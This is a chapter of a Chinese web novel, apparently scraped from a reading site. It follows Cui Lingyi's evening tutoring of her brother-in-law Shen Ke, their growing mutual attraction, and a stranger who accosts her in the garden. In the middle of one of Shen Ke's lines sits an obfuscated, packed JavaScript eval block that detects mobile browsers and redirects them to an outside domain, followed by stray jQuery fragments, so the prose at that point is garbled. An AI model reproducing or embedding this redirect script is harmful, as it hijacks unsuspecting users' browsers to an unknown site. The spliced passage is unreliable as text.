40. 第 40 章

作品:《春色迟

    刘家香粉铺子的东西确实不错,调制的梨花香粉,香气比别家的更加清新淡雅。粉质也更加细腻,敷在脸上如同梨花般娇艳动人。


    崔令仪各种都买了一瓶,准备回去每样都试上一试。买完香粉,她们几人去了书铺挑了几卷书,又去买了些蜜饯点心,满载而归。


    用过晚膳,趁还有空闲,她拿出白天买的话本子津津有味的看了起来。至于之前说的那些集注则丢在一边,心里还安慰自己留到晚些时候再看也不迟的。


    梦龙先生的书委实精彩,情节跌宕起伏,扣人心弦。直到菊青来提醒,她才惊觉时间已经这么晚了。


    菊青是嫂嫂送来的那几个丫鬟中年纪最大的那个,略懂医术,性格稳重,所以溪月走了之后便由她接替了溪月的位置。


    崔令仪依依不舍地把书揣在袖中,接过她递来的琉璃灯,从容后门而出。如今的她再也不用担心身边时刻有双眼睛在盯着,走在照霞院里面,腰杆子挺得笔直。


    但一出了照霞院,她立即被打回原形,佝着身子贼眉鼠眼,两只眼睛不停地观察着四周的动静。


    来到小书房,果然看到沈恪又坐于平头案前看书。每次无论她是来得多早还是来得晚,都能先看到沈恪到这里,也不知这家伙到底是什么时候来的?


    鹿山书院在城外,马车需半个时辰,回来估计已经是傍晚了。他又匆匆赶到这里,不会是连晚饭都没有吃吧?


    她爹曾说,天资卓然之人与天资平庸者相比未必会胜出,因为勤能补拙。但若天资卓然而又奋发图强的人必有所成,因为这种人目的明确,又不为外物所扰。


    而沈恪就是这样的人,他的努力程度,让崔令仪都觉汗颜。


    她走了过去,随口问道:“我以为你今天不会过来这么早,这几日在书院感觉如何?”


    沈恪只看了她一眼,便又低头继续在纸上写了起来,“先生教的还算用心,比我想的好多了。”


    “那同窗呢?我听说魏家的魏行简也在鹿上书院求学。”


    沈恪握笔的手一顿,朝她看来,眸中盛着清浅的笑意,“嫂嫂是在关心我?”


    崔令仪脸皮一臊,这才反应过来。沈恪哪需要她来担心,该担心的该是他那些同窗才对。干笑了两声,道:“我就是好奇,随口一问。”


    “魏家表兄对我很是关照,还数次邀我去吃酒。”


    魏行简能有这么好心?


    崔令仪怪怪的打量了沈恪一眼,也倒没有追问,因为她忽然发现她常坐的那把椅子上多了个蕉叶纹织锦缎软垫。


    昨天她随口抱怨了一句,说这这椅子太硬坐的腰疼,没想到今天就多了个软垫,心头不由一股暖流涌过。


    “多谢。”


    沈恪抬眸,不明所以,眼神好像是在询问因何道谢。


    崔令仪指了指那个软垫,沈恪一笑,道:“嫂嫂不必客气。”


    她坐上去试了试,感觉还挺舒服的。见沈恪奋笔疾书一直在写些什么,探头过去一看,发现他是在写策论。


    题目简单,正好还是崔令仪刚讲过不久的东西。当时沈恪以君子所学当还之以民为论,再次让她惊叹不已。因为她着实没想到沈恪这样的人,居然会有此等抱负。


    不过纸上所写的内容却是平平无奇,夸夸其谈,与那日相去甚远。


    崔令仪顿时明白她可能是在藏拙,以手撑颌,美目流盼,好奇问:“读书人多重才名,二叔既然想参加科举,那这才子之名必不可少,为何你现在又要藏藏拙?”


    沈恪轻笑,不急不徐道:“龙潜于渊,才可在必要时一鸣惊人。”


    原来如此。


    崔令仪了然,隐隐有些期待起来。沈恪若能在京城崭露头角,蟾宫折桂,这其中必然有她一份功劳。能教出这么厉害的学生,怎能不算是一件自豪的事情?


    “我听犹春说沈府后面的平乐坊住着一位姓陈的大儒,你有空时不妨上门去拜访一番。若能得他引荐,将来对你的仕途大有裨益。”


    虽然她爹引荐也有同样的效果,但她不想把崔家拖到这团烂泥坑里来,所以能避则避。至于兰苑那边就更不用想了,魏氏首先就不会同意。


    沈恪闻言,脸色稍沉,道:“那是个骗子,陈老游历山水,行踪不定,他便借用陈老之名到处行骗敛财。”


    崔令仪眉头微微上挑,颇觉意外。方才是她的错觉吗?为何她感觉沈恪的语气中带着些许气急败坏?


    以前她一直觉得沈恪是个戴着面具的千年狐狸精,老谋深算,喜怒不形于色,又能杀人于无形,眼下倒是终于有点活人气息了。


    她顿时来了兴趣,凑上前看着他,笑问:“你是怎么知道的?”


    沈恪道:“我去找过他,那人话里话外都在暗示我拿银钱孝敬他。”


    “哦?那你给了吗?”


    沈恪扯起嘴角盈盈一笑,端得是姿容绝代,任谁看了都会忍不住敢称赞一句:端方公子,如琢如磨!


    “我把他打了一顿。”


    崔令仪没忍住,噗嗤一声笑出了声。难以想象沈恪会撸起袖子揍人,如果她当时在现场就好了。那骗子手段高明,能把沈恪这种千年的老狐狸精气得要动手打人,那场景一定十分精彩。


    叉腰笑了一会儿,见沈恪后面还有一大段没写,也不再打扰,“你先写吧,写完再喊我。”


    说着,从袖中掏出那卷书来。挪动身子,换了个更加舒服的姿势,继续往下看。


    一窗凉月,灯火青荧。屋内两人互不打扰,各自做自己的事情。好风如水,清景无限,难得安宁。


    沈恪在纸上落下最后一笔,捏了捏酸痛的眉心。自从开始在这里读书以来,他每日鸡鸣早起,夜半才睡,时间一久也略显吃力。


    将策论收起,又松动了下僵硬的脖颈。沈恪无意间忽然瞥见崔丽仪倚靠在椅背上,姿势十分的闲散。身体防若无骨,整个人更像是躺在那儿。


    一只手握着书,另一只手垂下来把玩着腰间鸡子卵大小的红珊瑚珠子。那珊瑚珠子朱红鲜艳,更衬得指节白皙如玉。红白交缠,靡丽妖冶。


    沈恪眸光渐渐黯淡,好看的桃花眼中墨色翻涌。他不动声色的走到崔令仪身边,一动不动的盯着她看了好半晌,声音暗哑的问:“嫂嫂在看什么?”


    “二叔肯定不感兴趣。”正看到精彩之处,她翻过一页,头也不抬的道。


    “大凡人不做指望,到也不在心上。一做指望,便痴心妄想,时刻难过。”


    崔令仪一愣,抬眸看向沈恪,惊奇的问:“你怎么知道?”


    他方才说的就是书中的一段原话。


    “白天书院有人在谈论此书,我正好听到了。”


    烛火怯怯,映照在崔令仪的脸上。粉腮红润,云髻峨峨。一双秋水明眸正定定看着他,沈恪喉结滚动,忽觉呼吸沉沉。


    上前抽出崔令仪手里的书,指腹状似不经意的擦过她的指尖,轻声道:“天色已晚,我送你回去吧


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15967115|167392||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    崔令仪心中异动,耳尖刹那间烧得滚烫。忙起身整理了一下自己的衣裙,道:“不、不用了,我自己回去。”


    说着,连书也不要了,直接提着琉璃灯紧绷身子迅速冲出房门。


    夜里不似白天那般燥热,凉风习习。崔令仪从房中冲出又急走出去数十步才停下来。脸颊连同脖颈都已红透,经凉风一吹身上的燥热顿时散去不少。


    回头看了眼小书房,她眉头紧拧,心情十分复杂。


    方才,沈恪到底是故意......还是无意?


    事情发展得太快,其实她也没有分辨不出来。


    虽然上次的事情,他们两人都选择缄默不谈。但这并不意味事情没有发生,当日沈恪眸中的欲望清晰可见,今天这般难道他对自己有意?


    崔令仪立即甩掉这个可怕的念头,沈恪这样的人怎么可能会耽于情爱?而且自己是他的嫡亲嫂嫂,两人根本不可以在一起。哪怕是传出些许流言,世人的吐沫星子就足以把他们淹死。


    这些沈恪不可能不知道,他的目的既然是在朝堂当中,将来要求的多半是对他仕途有益的世家女子。


    也许真的只是她多虑了。


    大概是这几天没有睡好,导致她的心神恍惚而胡乱猜想。待会回去,她定要叫犹春多准备些安神之物。


    想着,崔令仪握紧手中的琉璃灯继续往前。出了小木门,刚想回照霞院,她忽然看到路边的柳树下有一个高大的人影在徘徊。


    她吓了一大跳,赶紧吹熄手里的灯,躲在假山后仔细观察起那个人影。


    天色太暗,隔得有远,夜雾笼罩之下实在看不清那人的相貌。但从身形上来看,此人是个身形魁梧的男子,而且不是沈府众人。


    崔令仪一介弱女子不用想也知道根本不是此人的对手,所以她不敢乱动,只躲在一动不动地假山后。


    那人似乎对府里的地形不甚熟悉,在那左顾右盼了好一会儿才提步往后罩房的方向而去。


    崔令仪眉头紧皱,此人身份不明,目的也不清楚,三更半夜出现在这里绝非好事。不过现在也不是想这个的时候,当初之急还是先回到安全的地方。


    她提起裙摆,赶紧往照霞院的后门跑去。几步路的距离,紧张得心几乎要从嗓子眼跳出来。


    好不容易到了门口,然而当她刚准备叫菊清开门时,一只手忽然从后死死捏住了她的肩膀。


    崔令仪吃痛不已,额头上立即冒出一层冷汗,就听身后之人低声警告道:“别出声。”


    她的心提到了嗓子眼,战战兢兢的道:“好汉饶命。”


    “大奶奶不必惊慌,小人并没有恶意。”


    等等!!


    这声音怎么如此熟悉,好像前不久才听过到。崔令仪猛的回头一看,赫然发现这人她确实见过。


    福清茶楼,黑子。


    “怎么是你?”


    黑子松开了她的肩膀,后退一步郑重的行了一礼,道:“多有冒犯,还请绪大奶奶见谅。”


    崔令仪摆了摆手示意他起来,但悬在那儿的心一直没有放下,目光警惕地盯着他。同时用眼角的余光瞥了眼竹林的方向,祈祷沈恪能快点出来。


    “嫂嫂应该同你说过不要打听才是,三更半夜的你为何会出现在我沈家的后宅?!”


    黑子的眉头紧皱在一起,双手又是一揖,带着歉意的道:“此事说来话长,小人出现在这里实为被逼无奈,小人绝无歹心。”